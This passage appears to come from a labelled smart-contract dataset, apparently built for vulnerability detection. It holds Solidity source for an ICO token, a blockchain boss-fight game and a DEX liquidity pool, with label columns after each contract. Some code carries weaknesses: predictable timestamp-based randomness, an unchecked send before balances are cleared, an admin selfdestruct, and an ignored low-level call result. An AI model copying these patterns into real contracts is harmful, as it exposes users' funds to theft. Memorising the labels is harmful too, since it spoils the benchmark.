emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract EntryToken is StandardToken, Ownable {
string public constant name = "Entry Token";
string public constant symbol = "ENTRY";
uint8 public constant decimals = 18;
uint256 public constant TOKENS_SALE_HARD_CAP = 325000000000000000000000000;
uint256 public constant BASE_RATE = 6000;
uint256 private constant datePreSaleStart = 1525294800;
uint256 private constant datePreSaleEnd = 1525986000;
uint256 private constant dateSaleStart = 1527800400;
uint256 private constant dateSaleEnd = 1535749200;
uint256 private preSaleCap = 75000000000000000000000000;
uint256[25] private stageCaps = [
85000000000000000000000000 ,
95000000000000000000000000 ,
105000000000000000000000000 ,
115000000000000000000000000 ,
125000000000000000000000000 ,
135000000000000000000000000 ,
145000000000000000000000000 ,
155000000000000000000000000 ,
165000000000000000000000000 ,
175000000000000000000000000 ,
185000000000000000000000000 ,
195000000000000000000000000 ,
205000000000000000000000000 ,
215000000000000000000000000 ,
225000000000000000000000000 ,
235000000000000000000000000 ,
245000000000000000000000000 ,
255000000000000000000000000 ,
265000000000000000000000000 ,
275000000000000000000000000 ,
285000000000000000000000000 ,
295000000000000000000000000 ,
305000000000000000000000000 ,
315000000000000000000000000 ,
325000000000000000000000000
];
uint8[25] private stageRates = [15, 16, 17, 18, 19, 21, 22, 23, 24, 25, 27,
28, 29, 30, 31, 33, 34, 35, 36, 37, 40, 41, 42, 43, 44];
uint64 private constant dateTeamTokensLockedTill = 1630443600;
bool public tokenSaleClosed = false;
address public timelockContractAddress;
function isPreSalePeriod() public constant returns (bool) {
if(totalSupply > preSaleCap || now >= datePreSaleEnd) {
return false;
} else {
return now > datePreSaleStart;
}
}
function isICOPeriod() public constant returns (bool) {
if (totalSupply > TOKENS_SALE_HARD_CAP || now >= dateSaleEnd){
return false;
} else {
return now > dateSaleStart;
}
}
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP && !tokenSaleClosed && now >= datePreSaleStart);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
modifier canBeTraded {
require(tokenSaleClosed);
_;
}
function EntryToken() public {
generateTokens(owner, 50000000000000000000000000);
}
function () public payable inProgress {
if(isPreSalePeriod()){
buyPreSaleTokens(msg.sender);
} else if (isICOPeriod()){
buyTokens(msg.sender);
}
}
function buyPreSaleTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getPreSaleTokenAmount(msg.value);
require(totalSupply.add(tokens) <= preSaleCap);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function buyTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getTokenAmount(msg.value);
require(totalSupply.add(tokens) <= TOKENS_SALE_HARD_CAP);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function getPreSaleTokenAmount(uint256 weiAmount)internal pure returns (uint256) {
return weiAmount.mul(BASE_RATE);
}
function getTokenAmount(uint256 weiAmount) internal view returns (uint256 tokens) {
uint256 tokenBase = weiAmount.mul(BASE_RATE);
uint8 stageNumber = currentStageIndex();
tokens = getStageTokenAmount(tokenBase, stageNumber);
while(tokens.add(totalSupply) > stageCaps[stageNumber] && stageNumber < 24){
stageNumber++;
tokens = getStageTokenAmount(tokenBase, stageNumber);
}
}
function getStageTokenAmount(uint256 tokenBase, uint8 stageNumber)internal view returns (uint256) {
uint256 rate = 10000000000000000000/stageRates[stageNumber];
uint256 base = tokenBase/1000000000000000000;
return base.mul(rate);
}
function currentStageIndex() internal view returns (uint8 stageNumber) {
stageNumber = 0;
while(stageNumber < 24 && totalSupply > stageCaps[stageNumber]) {
stageNumber++;
}
}
function buyTokensOnInvestorBehalf(address _beneficiary, uint256 _tokens) public onlyOwner beforeEnd {
generateTokens(_beneficiary, _tokens);
}
function buyTokensOnInvestorBehalfBatch(address[] _addresses, uint256[] _tokens) public onlyOwner beforeEnd {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
generateTokens(_addresses[i], _tokens[i]);
}
}
function generateTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
totalSupply = totalSupply.add(_tokens);
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
emit Transfer(address(0), _beneficiary, _tokens);
}
function close() public onlyOwner beforeEnd {
uint256 lockedTokens = 118000000000000000000000000;
uint256 partnerTokens = 147000000000000000000000000;
uint256 unsoldTokens = TOKENS_SALE_HARD_CAP.sub(totalSupply);
generateLockedTokens(lockedTokens);
generatePartnerTokens(partnerTokens);
generateUnsoldTokens(unsoldTokens);
totalSupply = totalSupply.add(lockedTokens+partnerTokens+unsoldTokens);
tokenSaleClosed = true;
owner.transfer(address(this).balance);
}
function generateLockedTokens(uint lockedTokens) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, dateTeamTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
emit Transfer(address(0), timelockContractAddress, lockedTokens);
}
function generatePartnerTokens(uint partnerTokens) internal{
balances[owner] = balances[owner].add(partnerTokens);
emit Transfer(address(0), owner, partnerTokens);
}
function generateUnsoldTokens(uint unsoldTokens) internal{
balances[owner] = balances[owner].add(unsoldTokens);
emit Transfer(address(0), owner, unsoldTokens);
}
function transferFrom(address _from, address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transfer(_to, _value);
}
} | 1 | 4,421 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function calculateCurrentVirus(address ) public pure returns(uint256 ) {}
function subVirus(address , uint256 ) public {}
function claimPrizePool(address , uint256 ) public {}
function fallback() public payable {}
}
interface CryptoMiningWarInterface {
function addCrystal( address , uint256 ) external;
function subCrystal( address , uint256 ) external;
}
contract CryptoBossWannaCry is PullPayment{
bool init = false;
address public administrator;
uint256 public bossRoundNumber;
uint256 private randNonce;
uint256 constant public BOSS_HP_DEFAULT = 100000;
uint256 public HALF_TIME_ATK_BOSS = 0;
uint256 constant public VIRUS_MINING_PERIOD = 86400;
uint256 public BOSS_DEF_DEFFAULT = 0;
CryptoEngineerInterface public EngineerContract;
CryptoMiningWarInterface public MiningwarContract;
mapping(address => PlayerData) public players;
mapping(uint256 => BossData) public bossData;
struct PlayerData {
uint256 currentBossRoundNumber;
uint256 lastBossRoundNumber;
uint256 win;
uint256 share;
uint256 dame;
uint256 nextTimeAtk;
}
struct BossData {
uint256 bossRoundNumber;
uint256 bossHp;
uint256 def;
uint256 prizePool;
address playerLastAtk;
uint256 totalDame;
bool ended;
}
event eventAttackBoss(
uint256 bossRoundNumber,
address playerAtk,
uint256 virusAtk,
uint256 dame,
uint256 timeAtk,
bool isLastHit,
uint256 crystalsReward
);
event eventEndAtkBoss(
uint256 bossRoundNumber,
address playerWin,
uint256 ethBonus
);
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
constructor() public {
administrator = msg.sender;
EngineerContract = CryptoEngineerInterface(0x69fd0e5d0a93bf8bac02c154d343a8e3709adabf);
MiningwarContract = CryptoMiningWarInterface(0xf84c61bb982041c030b8580d1634f00fffb89059);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function setupMiniGame( uint256 , uint256 ) public
{
}
function upgrade(address addr) public
{
require(msg.sender == administrator);
selfdestruct(addr);
}
function startGame() public isAdministrator
{
require(init == false);
init = true;
bossData[bossRoundNumber].ended = true;
startNewBoss();
}
function setDefenceBoss(uint256 _value) public isAdministrator
{
BOSS_DEF_DEFFAULT = _value;
}
function setHalfTimeAtkBoss(uint256 _value) public isAdministrator
{
HALF_TIME_ATK_BOSS = _value;
}
function startNewBoss() private
{
require(bossData[bossRoundNumber].ended == true);
bossRoundNumber = bossRoundNumber + 1;
uint256 bossHp = BOSS_HP_DEFAULT * bossRoundNumber;
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
EngineerContract.claimPrizePool(address(this), prizePool);
bossData[bossRoundNumber] = BossData(bossRoundNumber, bossHp, BOSS_DEF_DEFFAULT, prizePool, 0x0, 0, false);
}
function endAtkBoss() private
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame >= bossData[bossRoundNumber].bossHp);
BossData storage b = bossData[bossRoundNumber];
b.ended = true;
uint256 ethBonus = SafeMath.div( SafeMath.mul(b.prizePool, 5), 100 );
if (b.playerLastAtk != 0x0) {
PlayerData storage p = players[b.playerLastAtk];
p.win = p.win + ethBonus;
}
emit eventEndAtkBoss(bossRoundNumber, b.playerLastAtk, ethBonus);
startNewBoss();
}
function atkBoss(uint256 _value) public disableContract
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame < bossData[bossRoundNumber].bossHp);
require(players[msg.sender].nextTimeAtk <= now);
uint256 currentVirus = getEngineerCurrentVirus(msg.sender);
if (_value > currentVirus) { revert(); }
EngineerContract.subVirus(msg.sender, _value);
uint256 rate = 50 + randomNumber(msg.sender, 100);
uint256 atk = SafeMath.div(SafeMath.mul(_value, rate), 100);
updateShareETH(msg.sender);
BossData storage b = bossData[bossRoundNumber];
uint256 currentTotalDame = b.totalDame;
uint256 dame = 0;
if (atk > b.def) {
dame = SafeMath.sub(atk, b.def);
}
b.totalDame = SafeMath.min(SafeMath.add(currentTotalDame, dame), b.bossHp);
b.playerLastAtk = msg.sender;
dame = SafeMath.sub(b.totalDame, currentTotalDame);
uint256 crystalsBonus = SafeMath.div(SafeMath.mul(dame, 5), 100);
MiningwarContract.addCrystal(msg.sender, crystalsBonus);
PlayerData storage p = players[msg.sender];
p.nextTimeAtk = now + HALF_TIME_ATK_BOSS;
if (p.currentBossRoundNumber == bossRoundNumber) {
p.dame = SafeMath.add(p.dame, dame);
} else {
p.currentBossRoundNumber = bossRoundNumber;
p.dame = dame;
}
bool isLastHit;
if (b.totalDame >= b.bossHp) {
isLastHit = true;
endAtkBoss();
}
emit eventAttackBoss(b.bossRoundNumber, msg.sender, _value, dame, now, isLastHit, crystalsBonus);
}
function updateShareETH(address _addr) private
{
PlayerData storage p = players[_addr];
if (
bossData[p.currentBossRoundNumber].ended == true &&
p.lastBossRoundNumber < p.currentBossRoundNumber
) {
p.share = SafeMath.add(p.share, calculateShareETH(msg.sender, p.currentBossRoundNumber));
p.lastBossRoundNumber = p.currentBossRoundNumber;
}
}
function calculateShareETH(address _addr, uint256 _bossRoundNumber) public view returns(uint256 _share)
{
PlayerData memory p = players[_addr];
BossData memory b = bossData[_bossRoundNumber];
if (
p.lastBossRoundNumber >= p.currentBossRoundNumber &&
p.currentBossRoundNumber != 0
) {
_share = 0;
} else {
_share = SafeMath.div(SafeMath.mul(SafeMath.mul(b.prizePool, 95), p.dame), SafeMath.mul(b.totalDame, 100));
}
if (b.ended == false) {
_share = 0;
}
}
function withdrawReward() public disableContract
{
updateShareETH(msg.sender);
PlayerData storage p = players[msg.sender];
uint256 reward = SafeMath.add(p.share, p.win);
msg.sender.send(reward);
p.win = 0;
p.share = 0;
}
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
function randomNumber(address _addr, uint256 _maxNumber) private returns(uint256)
{
randNonce = randNonce + 1;
return uint256(keccak256(abi.encodePacked(now, _addr, randNonce))) % _maxNumber;
}
function getEngineerPrizePool() private view returns(uint256 _prizePool)
{
_prizePool = EngineerContract.prizePool();
}
function getEngineerCurrentVirus(address _addr) private view returns(uint256 _currentVirus)
{
_currentVirus = EngineerContract.calculateCurrentVirus(_addr);
_currentVirus = SafeMath.div(_currentVirus, VIRUS_MINING_PERIOD);
}
} | 0 | 2,272 |
pragma solidity 0.6.12;
interface IOneSwapFactory {
event PairCreated(address indexed pair, address stock, address money, bool isOnlySwap);
function createPair(address stock, address money, bool isOnlySwap) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setFeeBPS(uint32 bps) external;
function setPairLogic(address implLogic) external;
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function feeBPS() external view returns (uint32);
function pairLogic() external returns (address);
function getTokensFromPair(address pair) external view returns (address stock, address money);
function tokensToPair(address stock, address money, bool isOnlySwap) external view returns (address pair);
}
pragma solidity 0.6.12;
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
pragma solidity 0.6.12;
library SafeMath256 {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity 0.6.12;
struct RatPrice {
uint numerator;
uint denominator;
}
library DecFloat32 {
uint32 public constant MANTISSA_MASK = (1<<27) - 1;
uint32 public constant MAX_MANTISSA = 9999_9999;
uint32 public constant MIN_MANTISSA = 1000_0000;
uint32 public constant MIN_PRICE = MIN_MANTISSA;
uint32 public constant MAX_PRICE = (31<<27)|MAX_MANTISSA;
function powSmall(uint32 i) internal pure returns (uint) {
uint x = 2695994666777834996822029817977685892750687677375768584125520488993233305610;
return (x >> (32*i)) & ((1<<32)-1);
}
function powBig(uint32 i) internal pure returns (uint) {
uint y = 3402823669209384634633746076162356521930955161600000001;
return (y >> (64*i)) & ((1<<64)-1);
}
function expandPrice(uint32 price32) internal pure returns (RatPrice memory) {
uint s = price32&((1<<27)-1);
uint32 a = price32 >> 27;
RatPrice memory price;
if(a >= 24) {
uint32 b = a - 24;
price.numerator = s * powSmall(b);
price.denominator = 1;
} else if(a == 23) {
price.numerator = s;
price.denominator = 1;
} else {
uint32 b = 22 - a;
price.numerator = s;
price.denominator = powSmall(b&0x7) * powBig(b>>3);
}
return price;
}
function getExpandPrice(uint price) internal pure returns(uint numerator, uint denominator) {
uint32 m = uint32(price) & MANTISSA_MASK;
require(MIN_MANTISSA <= m && m <= MAX_MANTISSA, "Invalid Price");
RatPrice memory actualPrice = expandPrice(uint32(price));
return (actualPrice.numerator, actualPrice.denominator);
}
}
pragma solidity 0.6.12;
library ProxyData {
uint public constant COUNT = 5;
uint public constant INDEX_FACTORY = 0;
uint public constant INDEX_MONEY_TOKEN = 1;
uint public constant INDEX_STOCK_TOKEN = 2;
uint public constant INDEX_ONES = 3;
uint public constant INDEX_OTHER = 4;
uint public constant OFFSET_PRICE_DIV = 0;
uint public constant OFFSET_PRICE_MUL = 64;
uint public constant OFFSET_STOCK_UNIT = 64+64;
uint public constant OFFSET_IS_ONLY_SWAP = 64+64+64;
function factory(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_FACTORY]);
}
function money(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_MONEY_TOKEN]);
}
function stock(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_STOCK_TOKEN]);
}
function ones(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_ONES]);
}
function priceMul(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_MUL);
}
function priceDiv(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_DIV);
}
function stockUnit(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_STOCK_UNIT);
}
function isOnlySwap(uint[5] memory proxyData) internal pure returns (bool) {
return uint8(proxyData[INDEX_OTHER]>>OFFSET_IS_ONLY_SWAP) != 0;
}
function fill(uint[5] memory proxyData, uint expectedCallDataSize) internal pure {
uint size;
assembly {
size := calldatasize()
}
require(size == expectedCallDataSize, "INVALID_CALLDATASIZE");
assembly {
let offset := sub(size, 160)
calldatacopy(proxyData, offset, 160)
}
}
}
pragma solidity 0.6.12;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
pragma solidity 0.6.12;
interface IOneSwapBlackList {
event OwnerChanged(address);
event AddedBlackLists(address[]);
event RemovedBlackLists(address[]);
function owner()external view returns (address);
function newOwner()external view returns (address);
function isBlackListed(address)external view returns (bool);
function changeOwner(address ownerToSet) external;
function updateOwner() external;
function addBlackLists(address[] calldata accounts)external;
function removeBlackLists(address[] calldata accounts)external;
}
interface IOneSwapToken is IERC20, IOneSwapBlackList{
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function multiTransfer(uint256[] calldata mixedAddrVal) external returns (bool);
}
pragma solidity 0.6.12;
interface IOneSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IOneSwapPool {
event Mint(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Burn(address indexed sender, uint stockAndMoneyAmount, address indexed to);
event Sync(uint reserveStockAndMoney);
function internalStatus() external view returns(uint[3] memory res);
function getReserves() external view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID);
function getBooked() external view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID);
function stock() external returns (address);
function money() external returns (address);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint stockAmount, uint moneyAmount);
function skim(address to) external;
function sync() external;
}
interface IOneSwapPair {
event NewLimitOrder(uint data);
event NewMarketOrder(uint data);
event OrderChanged(uint data);
event DealWithPool(uint data);
event RemoveOrder(uint data);
function getPrices() external returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator);
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external view returns (uint[] memory);
function removeOrder(bool isBuy, uint32 id, uint72 positionID) external;
function removeOrders(uint[] calldata rmList) external;
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32, uint32 id, uint72 prevKey) external payable;
function addMarketOrder(address inputToken, address sender, uint112 inAmount) external payable returns (uint);
function calcStockAndMoney(uint64 amount, uint32 price32) external pure returns (uint stockAmount, uint moneyAmount);
}
pragma solidity 0.6.12;
abstract contract OneSwapERC20 is IOneSwapERC20 {
using SafeMath256 for uint;
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1, "OneSwap: LOCKED");
_unlocked = 0;
_;
_unlocked = 1;
}
string private constant _NAME = "OneSwap-Liquidity-Share";
uint8 private constant _DECIMALS = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
function symbol() virtual external override returns (string memory);
function name() external view override returns (string memory) {
return _NAME;
}
function decimals() external view override returns (uint8) {
return _DECIMALS;
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(- 1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
struct Order {
address sender;
uint32 price;
uint64 amount;
uint32 nextID;
}
struct Context {
bool isLimitOrder;
uint32 newOrderID;
uint remainAmount;
uint32 firstID;
uint32 firstBuyID;
uint32 firstSellID;
uint amountIntoPool;
uint dealMoneyInBook;
uint dealStockInBook;
uint reserveMoney;
uint reserveStock;
uint bookedMoney;
uint bookedStock;
bool reserveChanged;
bool hasDealtInOrderBook;
Order order;
uint64 stockUnit;
uint64 priceMul;
uint64 priceDiv;
address stockToken;
address moneyToken;
address ones;
address factory;
}
abstract contract OneSwapPool is OneSwapERC20, IOneSwapPool {
using SafeMath256 for uint;
uint private constant _MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 internal constant _SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
uint internal _reserveStockAndMoneyAndFirstSellID;
uint internal _bookedStockAndMoneyAndFirstBuyID;
uint private _kLast;
uint32 private constant _OS = 2;
uint32 private constant _LS = 3;
function internalStatus() external override view returns(uint[3] memory res) {
res[0] = _reserveStockAndMoneyAndFirstSellID;
res[1] = _bookedStockAndMoneyAndFirstBuyID;
res[2] = _kLast;
}
function stock() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.stock(proxyData);
}
function money() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.money(proxyData);
}
function getReserves() public override view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) {
uint temp = _reserveStockAndMoneyAndFirstSellID;
reserveStock = uint112(temp);
reserveMoney = uint112(temp>>112);
firstSellID = uint32(temp>>224);
}
function _setReserves(uint stockAmount, uint moneyAmount, uint32 firstSellID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "OneSwap: OVERFLOW");
uint temp = (moneyAmount<<112)|stockAmount;
emit Sync(temp);
temp = (uint(firstSellID)<<224)| temp;
_reserveStockAndMoneyAndFirstSellID = temp;
}
function getBooked() public override view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID) {
uint temp = _bookedStockAndMoneyAndFirstBuyID;
bookedStock = uint112(temp);
bookedMoney = uint112(temp>>112);
firstBuyID = uint32(temp>>224);
}
function _setBooked(uint stockAmount, uint moneyAmount, uint32 firstBuyID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "OneSwap: OVERFLOW");
_bookedStockAndMoneyAndFirstBuyID = (uint(firstBuyID)<<224)|(moneyAmount<<112)|stockAmount;
}
function _myBalance(address token) internal view returns (uint) {
if(token==address(0)) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
function _safeTransfer(address token, address to, uint value, address ones) internal {
if(token==address(0)) {
to.call{value: value, gas: 9000}(new bytes(0));
return;
}
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(_SELECTOR, to, value));
success = success && (data.length == 0 || abi.decode(data, (bool)));
if(!success) {
address onesOwner = IOneSwapToken(ones).owner();
(success, data) = token.call(abi.encodeWithSelector(_SELECTOR, onesOwner, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "OneSwap: TRANSFER_FAILED");
}
}
function _mintFee(uint112 _reserve0, uint112 _reserve1, uint[5] memory proxyData) private returns (bool feeOn) {
address feeTo = IOneSwapFactory(ProxyData.factory(proxyData)).feeTo();
feeOn = feeTo != address(0);
uint kLast = _kLast;
if (feeOn) {
if (kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(_OS);
uint denominator = rootK.mul(_LS).add(rootKLast.mul(_OS));
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (kLast != 0) {
_kLast = 0;
}
}
function mint(address to) external override lock returns (uint liquidity) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint112 bookedStock, uint112 bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData));
uint moneyBalance = _myBalance(ProxyData.money(proxyData));
require(stockBalance >= uint(bookedStock) + uint(reserveStock) &&
moneyBalance >= uint(bookedMoney) + uint(reserveMoney), "OneSwap: INVALID_BALANCE");
stockBalance -= uint(bookedStock);
moneyBalance -= uint(bookedMoney);
uint stockAmount = stockBalance - uint(reserveStock);
uint moneyAmount = moneyBalance - uint(reserveMoney);
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
liquidity = Math.sqrt(stockAmount.mul(moneyAmount)).sub(_MINIMUM_LIQUIDITY);
_mint(address(0), _MINIMUM_LIQUIDITY);
} else {
liquidity = Math.min(stockAmount.mul(_totalSupply) / uint(reserveStock),
moneyAmount.mul(_totalSupply) / uint(reserveMoney));
}
require(liquidity > 0, "OneSwap: INSUFFICIENT_MINTED");
_mint(to, liquidity);
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Mint(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function burn(address to) external override lock returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData)).sub(bookedStock);
uint moneyBalance = _myBalance(ProxyData.money(proxyData)).sub(bookedMoney);
require(stockBalance >= uint(reserveStock) && moneyBalance >= uint(reserveMoney), "OneSwap: INVALID_BALANCE");
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
{
uint _totalSupply = totalSupply;
uint liquidity = balanceOf[address(this)];
stockAmount = liquidity.mul(stockBalance) / _totalSupply;
moneyAmount = liquidity.mul(moneyBalance) / _totalSupply;
require(stockAmount > 0 && moneyAmount > 0, "OneSwap: INSUFFICIENT_BURNED");
balanceOf[address(this)] = 0;
totalSupply = totalSupply.sub(liquidity);
emit Transfer(address(this), address(0), liquidity);
}
address ones = ProxyData.ones(proxyData);
_safeTransfer(ProxyData.stock(proxyData), to, stockAmount, ones);
_safeTransfer(ProxyData.money(proxyData), to, moneyAmount, ones);
stockBalance = stockBalance - stockAmount;
